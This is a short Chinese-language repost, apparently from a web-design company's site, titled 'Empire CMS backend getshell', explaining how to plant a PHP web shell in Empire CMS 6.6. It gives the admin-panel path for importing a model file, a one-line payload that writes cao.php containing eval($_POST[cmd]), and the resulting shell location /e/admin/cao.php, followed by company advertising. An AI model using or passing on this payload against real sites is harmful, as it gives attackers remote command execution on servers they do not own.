見http://www.wooyun.org/bugs/wooyun-2010-03787

創(chuàng)新互聯(lián)公司主要從事網(wǎng)站制作、成都網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)黃山區(qū),十余年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):028-86922220

以前6.5的有人發(fā)的方法是，（進(jìn)入后臺(tái)---系統(tǒng)設(shè)置---管理數(shù)據(jù)表---管理系統(tǒng)模型---導(dǎo)入新型模塊,直接把修改過的php的shell改名為shell.php.mod上傳，新版使用uploadm~num.php來遞增數(shù)字）發(fā)現(xiàn)6.6不行，上傳之后會(huì)變成類似uploadm1324885505nXmTdQamQq.php這樣的！

換了個(gè)辦法其實(shí)也很簡(jiǎn)單<?fputs(fopen("cao.php","w"),"<?eval(\$_POST[cmd]);?>")?> 保存為1.php.mod 然后還是進(jìn)入后臺(tái)---系統(tǒng)設(shè)置---管理數(shù)據(jù)表---管理系統(tǒng)模型---導(dǎo)入新型模塊，上傳之后馬兒就躺在了/e/admin/cao.php了

本地6.6測(cè)試通過

<?fputs(fopen("cao.php","w"),"<?eval(\$_POST[cmd]);?>")?>

名稱欄目：帝國(guó)cms后臺(tái)getshell
本文鏈接：http://chinadenli.net/article22/jpscjc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供商城網(wǎng)站、小程序開發(fā)、網(wǎng)站改版、全網(wǎng)營(yíng)銷推廣、品牌網(wǎng)站設(shè)計(jì)、網(wǎng)站設(shè)計(jì)

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請(qǐng)盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng)，如需處理請(qǐng)聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來源： 創(chuàng)新互聯(lián)